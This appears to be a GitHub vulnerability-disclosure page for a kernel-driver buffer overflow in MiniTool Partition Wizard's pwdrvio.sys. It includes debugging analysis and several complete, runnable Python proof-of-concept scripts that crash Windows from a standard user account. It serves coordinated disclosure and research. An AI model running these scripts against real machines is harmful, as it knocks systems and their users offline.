canomer/CVE-2026-36980-Kernel-BSOD-DoS-PoC

GitHub: canomer/CVE-2026-36980-Kernel-BSOD-DoS-PoC

针对 MiniTool Partition Wizard 所搭载的 pwdrvio.sys 内核驱动中 IOCTL 缓冲区溢出漏洞的完整安全研究报告与拒绝服务概念验证代码。

Stars: 1 | Forks: 0

# CVE-2026-36980-Kernel-BSOD-DoS-PoC 项目日期:2026 年 2 月 / 在 pwdrvio.sys 内核驱动程序的 IOCTL 处理程序中发现了一个缓冲区溢出漏洞。该漏洞允许无特权的本地攻击者破坏内核池内存,触发立即的系统崩溃 (BSOD) 和拒绝服务。 * 2026-02-09 已通知供应商 * 2026-03-05 供应商已确认 * 2026-03-05 已向 MITRE 申请 CVE * 2026-05-10 在 90 天的协调披露期后公开披露 https://github.com/user-attachments/assets/b53fb5d1-b4d0-4bc6-ad6e-2a321a1d2101 **拒绝服务** **严重级别:** 中危 **CVSS 3.1 评分:** 5.5 (DoS) **CVSS 向量字符串:** - DoS: `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H` **缓冲区溢出 — 拒绝服务 (CVSS 5.5 - 中危)** - 触发蓝屏死机 (BSOD) - 独立利用(无需调试器) - 由通过 IOCTL 0x22000d 的缓冲区溢出引起 - 在所有测试配置中均出现一致的崩溃 **攻击前提条件:** - 对目标系统的本地访问权限 - 标准用户帐户(非管理员) - 已安装或已卸载 MiniTool Partition Wizard(已加载 pwdrvio.sys 驱动程序) **利用结果:** **DoS** - 立即系统崩溃,服务不可用 ## 漏洞发现时间线 ### 阶段 1:初始模糊测试与 BSOD 发现 **日期:** 2026 年 2 月 5 日 **活动:** 使用自定义 Python 模糊测试器进行系统性内核驱动程序模糊测试 **发现过程:** 1. **目标选择:** - 枚举 Windows 10 VM 上已安装的内核驱动程序 - 将 `pwdrvio.sys` 识别为最旧的驱动程序(时间戳:2009 年 6 月 16 日) - 驱动程序文件:`C:\Windows\System32\drivers\pwdrvio.sys` - 设备对象:`\\.\PartitionWizardDiskAccesser\0` 2. **初始模糊测试:** - 使用 `ctypes` 开发 Python 模糊测试器以与驱动程序交互 - 通过 `WriteFile/DeviceIoControl` 向驱动设备发送随机数据 - **结果:** 多次蓝屏死机 (BSOD) 3. **验证器激活:** - 启用 Driver Verifier 以增强崩溃检测 verifier /standard /driver pwdrvio.sys **Verifier 配置:** Verifier 标志:0x001209bb 已启用的标准标志: [X] Special pool [X] Force IRQL checking [X] Pool tracking [X] I/O verification [X] Deadlock detection [X] DMA checking [X] Security checks [X] Miscellaneous checks [X] DDI compliance checking ### 阶段 2:WinDbg 内核调试环境搭建 **日期:** 2026 年 2 月 5-6 日 **活动:** 建立内核调试环境以进行根本原因分析 **搭建步骤:** 1. **VMware 串口配置:** VMware Workstation Pro → VM Settings ├─ Add Hardware → Serial Port ├─ Connection: "Use named pipe" ├─ Path: \\.\pipe\com_1 ├─ End: "This is the server" └─ I/O Mode: "Yield CPU on poll" ✓ 2. **客户机操作系统配置:** REM Administrator Command Prompt bcdedit /debug on bcdedit /dbgsettings serial debugport:1 baudrate:115200 shutdown /r /t 0 3. **主机 WinDbg 连接:** WinDbg → File → Attach to Kernel ├─ Port: \\.\pipe\com_1 ├─ Baud Rate: 115200 ├─ Pipe: ✓ └─ Reconnect: ✓ 结果: "Kernel Debugger connection established." ### 阶段 3:根本原因分析 - 任意写入发现 **日期:** 2026 年 2 月 6 日 **活动:** 识别出任意内核写入原语 **分析步骤:** 1. **模块分析:** 1: kd> lm m pwdrvio start end module name fffff805`315f0000 fffff805`315f8000 pwdrvio (Jun 16 2009) 1: kd> !drvobj pwdrvio 2 Driver object (fffff805`XXXXXXXX) is for: \Driver\pwdrvio DriverEntry: fffff805`315f6008 DriverUnload: fffff805`315f1060 Dispatch Routines: [00] IRP_MJ_CREATE fffff805`315f108c [02] IRP_MJ_CLOSE fffff805`315f12f8 [03] IRP_MJ_READ fffff805`315f16c4 [04] IRP_MJ_WRITE fffff805`315f1564 ← Target [0e] IRP_MJ_DEVICE_CONTROL fffff805`315f1404 2. **易受攻击指令发现:** 在写入处理程序上设置断点: 1: kd> bp pwdrvio+0x1641 1: kd> g Breakpoint 0 hit pwdrvio+0x1641: fffff805`315f1641 498943f0 mov qword ptr [r11-10h],rax **关键发现:** 识别出任意写入原语! - 该指令将内核指针 (`RAX`) 写入地址 `[R11-0x10]` - `R11` 从栈帧加载:`mov r11, qword ptr [rbp+0xB8h]` - 未对目标地址执行任何验证 3. **寄存器状态分析:** 0: kd> r rax=fffff805315f1364 ← 内核代码指针 r11=ffffe60f84c38750 ← 目标地址(通过栈控制) rbp=ffffe60f84c38610 ← IRP 栈帧 0: kd> dq @rbp+0xB8 L1 ffffe60f`84c386c8 ffffe60f`84c38750 ← R11 从此处加载 ### 阶段 4:从 UAF 到任意写入的分析 **日期:** 2026 年 2 月 6-7 日 **活动:** 从释放后使用 (Use-After-Free) 追踪漏洞到任意写入条件 **内存破坏链:** 1. **IRP 分配:** 0: kd> !pool @rbp Pool page ffffe60f84c38610 region is Special pool *ffffe60f84c38000 size: 1f0 data: ffffe60f84c38e10 (NonPaged) *Irp+ Pooltag Irp+ : I/O verifier allocated IRP packets 2. **缓冲区关系:** 0: kd> r rsi rsi=ffffe60f828df900 ← 用户缓冲区位置 0: kd> ? @rbp - @rsi Evaluate expression: 35823344 = 00000000`02229ef0 ← 35MB 差距! **分析:** 用户缓冲区无法从 RBP 帧直接访问 - RBP 指向内核池中的 IRP 结构 - 用户缓冲区位于不同的内存区域 - `RBP+0xB8` 偏移量未指向用户控制的缓冲区 3. **释放后使用条件 (Use-After-Free):** 驱动程序在 IRP 结构中保留了悬空指针: // Ghidra 反编译 (pwdrvio+0x1564) longlong lVar1 = *(longlong *)(param_2 + 0xb8); // 从 IRP 加载 // 无验证! lVar5 = IoBuildAsynchronousFsdRequest(...); // 写入 [lVar1 - 0x10] *(code **)(lVar3 + -0x10) = FUN_00011364; // 任意写入! ### 阶段 6:拒绝服务漏洞识别 **日期:** 2026 年 2 月 8 日 **活动:** 发现独立的 DoS 漏洞 **发现:** 1. **IOCTL 模糊测试:** - 使用畸形缓冲区测试各种 IOCTL 代码 - 识别出 IOCTL `0x22000d` 具有漏洞 2. **崩溃机制:** # 易受攻击的参数 TARGET_IOCTL = 0x22000d input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024)) real_output_buffer = ctypes.create_string_buffer(4) fake_output_length = 8192 # 驱动程序信任此值! DeviceIoControl(handle, TARGET_IOCTL, input_buf, 1024, real_output_buffer, fake_output_length, ...) 3. **驱动行为:** - 驱动程序信任用户提供的输出缓冲区长度 - 尝试将 8192 字节写入 4 字节的缓冲区 - 缓冲区溢出 → 池破坏 → BSOD **Verifier 输出:** ``` DRIVER_VERIFIER_DETECTED_VIOLATION (c4) Arg1: 0000000000000091, Corrupted pool allocation Arg2: fffff805315f1404, Driver code address Arg3: ffffe60f84c38000, Pool allocation address Arg4: 0000000000000091, Corruption type PROCESS_NAME: python.exe ``` ## 漏洞 #2:拒绝服务 ### CWE 分类 - **CWE-120:** 未检查输入大小的缓冲区复制 - **CWE-119:** 内存缓冲区操作的不当限制 - **CWE-248:** 未捕获的异常 ### 漏洞详情 **位置:** `pwdrvio.sys` IOCTL 处理程序 **易受攻击的 IOCTL:** 0x22000d **触发机制:** ``` import ctypes from ctypes import wintypes DEVICE_NAME = r"\\.\PartitionWizardDiskAccesser\0" TARGET_IOCTL = 0x22000d kernel32 = ctypes.windll.kernel32 # 打开驱动 handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None) # 恶意参数 input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024)) real_output_buffer = ctypes.create_string_buffer(4) # Only 4 bytes! fake_output_length = 8192 # Claim 8192 bytes! bytes_returned = wintypes.DWORD(0) # 触发溢出 kernel32.DeviceIoControl(handle, TARGET_IOCTL, input_buf, 1024, real_output_buffer, fake_output_length, # ← Overflow! ctypes.byref(bytes_returned), None) ``` **崩溃行为:** 启用 Driver Verifier 时: ``` DRIVER_VERIFIER_DETECTED_VIOLATION (c4) Arguments: Arg1: 0000000000000091 - Corrupted pool allocation detected Arg2: fffff805315f1404 - Driver code address (IOCTL handler) Arg3: ffffe60f84c38000 - Pool allocation address Arg4: 0000000000000091 - Special pool pattern corrupted Analysis: - Driver attempts to write 8192 bytes to 4-byte buffer - Pool header corruption detected by verifier - Immediate bugcheck (BSOD) Process triggering crash: python.exe (standard user) ``` 未启用 Driver Verifier 时: ``` SYSTEM_SERVICE_EXCEPTION (3b) Arguments: Arg1: 00000000c0000005 - Access violation Arg2: fffff805315f1404 - Faulting address in pwdrvio.sys Arg3: ffffXXXXXXXXXXXX - Trap frame Arg4: 0000000000000000 Result: Blue Screen of Death ``` ### 完整代码与利用 **代码:** ``` import ctypes from ctypes import wintypes # --- 设置 --- DEVICE_NAME = r"\\.\PartitionWizardDiskAccesser\0" kernel32 = ctypes.windll.kernel32 # --- 定义 --- # Windows API 定义 kernel32.CreateFileW.argtypes = [wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD, wintypes.LPVOID, wintypes.DWORD, wintypes.DWORD, wintypes.HANDLE] kernel32.CreateFileW.restype = wintypes.HANDLE kernel32.DeviceIoControl.argtypes = [wintypes.HANDLE, wintypes.DWORD, wintypes.LPVOID, wintypes.DWORD, wintypes.LPVOID, wintypes.DWORD, ctypes.POINTER(wintypes.DWORD), wintypes.LPVOID] kernel32.DeviceIoControl.restype = wintypes.BOOL def trigger_bsod(): print("[!] MiniTool DoS...") # 1. Connect Driver handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None) if handle == wintypes.HANDLE(-1).value or handle is None: print("[-] Couldnt Connect.") return # 2. Preperation # IOCTL from Fuzzer TARGET_IOCTL = 0x22000d # Input: Fiiled 0xFF - 1024 byte (Pointer Poisoning) in_size = 1024 input_buf = (ctypes.c_char * in_size)(*([0xFF] * in_size)) # Output Trap: Standard 4 byte, 8192 byte in Driver real_output_buffer = ctypes.create_string_buffer(4) fake_output_length = 8192 bytes_returned = wintypes.DWORD(0) print("[+] Wait for BSoD...") # 3. Loop (Pool Corruption) while True: kernel32.DeviceIoControl( handle, TARGET_IOCTL, input_buf, in_size, real_output_buffer, fake_output_length, # <--- Vulnerable Point: Driver BufferOverflow ctypes.byref(bytes_returned), None ) if __name__ == "__main__": trigger_bsod() ``` **利用:** ``` PS C:\Users\standarduser\directory> & "C:\Program Files\Python314\python.exe" .\DoS_PoC.py ``` ## 概念验证与复现步骤 ### 前置条件 **测试环境:** - **操作系统:** Windows 10 Home Build 19045.6466 - **架构:** x64 - **MiniTool 版本:** Partition Wizard 13.5 - **驱动程序:** pwdrvio.sys(日期为 2009 年 6 月 16 日) - **用户帐户:** 标准用户(非管理员) **所需工具:** - **用于 LPE:** WinDbg (Windows 调试器),VMware Workstation - **用于 DoS:** 带有 ctypes 的 Python 3.x ### 复现 #1:拒绝服务(独立) **步骤 1:验证驱动程序安装** ``` C:\> sc query pwdrvio SERVICE_NAME: pwdrvio TYPE : 1 KERNEL_DRIVER STATE : 4 RUNNING WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) ``` **步骤 2:启用 Driver Verifier(可选但推荐)** ``` REM Administrator Command Prompt C:\> verifier /standard /driver pwdrvio.sys REM Verify configuration C:\> verifier /query Verifier Flags: 0x001209bb Standard Flags: [X] 0x00000001 Special pool [X] 0x00000002 Force IRQL checking [X] 0x00000008 Pool tracking [X] 0x00000010 I/O verification [X] 0x00000020 Deadlock detection [X] 0x00000080 DMA checking [X] 0x00000100 Security checks [X] 0x00000800 Miscellaneous checks [X] 0x00020000 DDI compliance checking Driver Verification List: MODULE: pwdrvio.sys (load: 1 / unload: 0) REM Reboot for verifier to take effect C:\> shutdown /r /t 0 ``` **步骤 3:创建 DoS 漏洞利用脚本** 保存为 `dos_exploit.py`: ``` import ctypes from ctypes import wintypes # 设备路径 DEVICE_NAME = r"\\.\PartitionWizardDiskAccesser\0" kernel32 = ctypes.windll.kernel32 # Windows API 定义 kernel32.CreateFileW.argtypes = [wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD, wintypes.LPVOID, wintypes.DWORD, wintypes.DWORD, wintypes.HANDLE] kernel32.CreateFileW.restype = wintypes.HANDLE kernel32.DeviceIoControl.argtypes = [wintypes.HANDLE, wintypes.DWORD, wintypes.LPVOID, wintypes.DWORD, wintypes.LPVOID, wintypes.DWORD, ctypes.POINTER(wintypes.DWORD), wintypes.LPVOID] kernel32.DeviceIoControl.restype = wintypes.BOOL def trigger_bsod(): print("[*] MiniTool pwdrvio.sys DoS Exploit") print("[*] Triggering Blue Screen of Death...") # Open device handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None) if handle == wintypes.HANDLE(-1).value or handle is None: print("[-] Failed to open driver") print("[-] Ensure MiniTool Partition Wizard is installed") return print("[+] Driver opened successfully") # Vulnerable IOCTL code TARGET_IOCTL = 0x22000d # Input buffer: 1024 bytes of 0xFF input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024)) # Output buffer: Only 4 bytes (but claim 8192!) real_output_buffer = ctypes.create_string_buffer(4) fake_output_length = 8192 # Driver trusts this value → Overflow! bytes_returned = wintypes.DWORD(0) print("[!] Sending malicious IOCTL...") print("[!] System will crash in 3...2...1...") # Trigger buffer overflow → BSOD kernel32.DeviceIoControl( handle, TARGET_IOCTL, input_buf, 1024, real_output_buffer, fake_output_length, # ← Vulnerability trigger ctypes.byref(bytes_returned), None ) # This line will never execute print("[*] If you see this, the exploit failed") if __name__ == "__main__": trigger_bsod() ``` **步骤 4:执行漏洞利用(标准用户)** ``` C:\> whoami desktop-lfkkhu2\standard_user C:\> python dos_exploit.py [*] MiniTool pwdrvio.sys DoS Exploit [*] Triggering Blue Screen of Death... [+] Driver opened successfully [!] Sending malicious IOCTL... [!] System will crash in 3...2...1... [System immediately crashes with BSOD] ``` **预期结果:** 带有停止代码的蓝屏: ``` DRIVER_VERIFIER_DETECTED_VIOLATION (c4) ``` 或 ``` SYSTEM_SERVICE_EXCEPTION (3b) ``` **验证:** 系统崩溃确认存在 DoS 漏洞 **MiniTool 软件:** ``` Product: MiniTool Partition Wizard Version: 13.5 Installation Path: C:\Program Files\MiniTool Partition Wizard Driver Path: C:\Windows\System32\drivers\pwdrvio.sys Driver Date: June 16, 2009 (0x4A36F8D1) Driver Size: 32,256 bytes ``` **测试工具:** ``` WinDbg Version: 10.0.29507.1001 AMD64 Python Version: 3.x with ctypes Compiler: x86_64-w64-mingw32-gcc (MinGW) Verifier: Windows Driver Verifier (Standard flags) ``` ## 受影响的版本 ### 确认受影响 **主要产品:** - MiniTool Partition Wizard 13.5 - 所有使用 pwdrvio.sys 的早期版本 **驱动程序详情:** ``` File Name: pwdrvio.sys File Version: [Not available] File Size: 32,256 bytes (31.5 KB) Time Stamp: 0x4A36F8D1 (June 16, 2009, 04:43:45 UTC) Digital Signature: [Signed by vendor] Device Name: \\.\PartitionWizardDiskAccesser\0 Service Name: pwdrvio Load Order: Boot Start (SERVICE_BOOT_START) ``` ### 可能受影响 可能使用相同驱动程序的其他 MiniTool 产品: - MiniTool Power Data Recovery - MiniTool Partition Wizard Bootable Edition - MiniTool ShadowMaker **注意:** 应单独测试每个产品以进行确认。 ### 操作系统兼容性 **已测试并确认受影响:** - Windows 10 Home Build 19045.6466 (x64) **可能受影响(未测试):** - Windows 7 (x64) - Windows 8 / 8.1 (x64) - Windows 10(所有版本,x64) - Windows 11 (x64) - Windows Server 2008 R2 及更高版本 **原因:** 该驱动程序兼容所有现代 Windows 版本,且不包含版本特定的检查。 ## 法律免责声明 本仓库严格仅用于在受控实验室环境中进行教育、防御性安全研究和漏洞复现目的。 信息和概念验证代码旨在帮助防御者、研究人员和供应商理解并修复已报告的漏洞。 未经明确授权对系统恶意使用本可能违反适用的法律和法规。 作者不鼓励或纵容任何非法活动,并且对因滥用本材料造成的损坏不承担任何责任。 本漏洞披露报告用于: 1. 安全研究与教育 2. 供应商通知和补丁开发 3. 保护最终用户 4. 学术和防御性安全目的 **严禁用于:** - 未经授权访问计算机系统 - 恶意利用 - 任何非法活动 研究人员在受控环境中使用个人拥有的系统进行了所有测试。未对第三方系统进行任何未经授权的访问。 **报告版本:** 1.0 **最后更新:** 2026 年 2 月 9 日
标签:0day挖掘, 0day漏洞, CVE-2026-36980, CVSS 3.1, CVSS 5.5, IOCTL处理, MiniTool Partition Wizard, PoC, pwdrvio.sys, T和安全漏洞, Web报告查看器, Windows驱动, 内存损坏, 内核安全, 协调披露, 安全研究员, 拒绝服务攻击, 暴力破解, 本地提权, 池内存破坏, 系统崩溃, 缓冲区溢出, 蓝屏, 输入验证不当, 逆向工具, 非特权攻击, 驱动模糊测试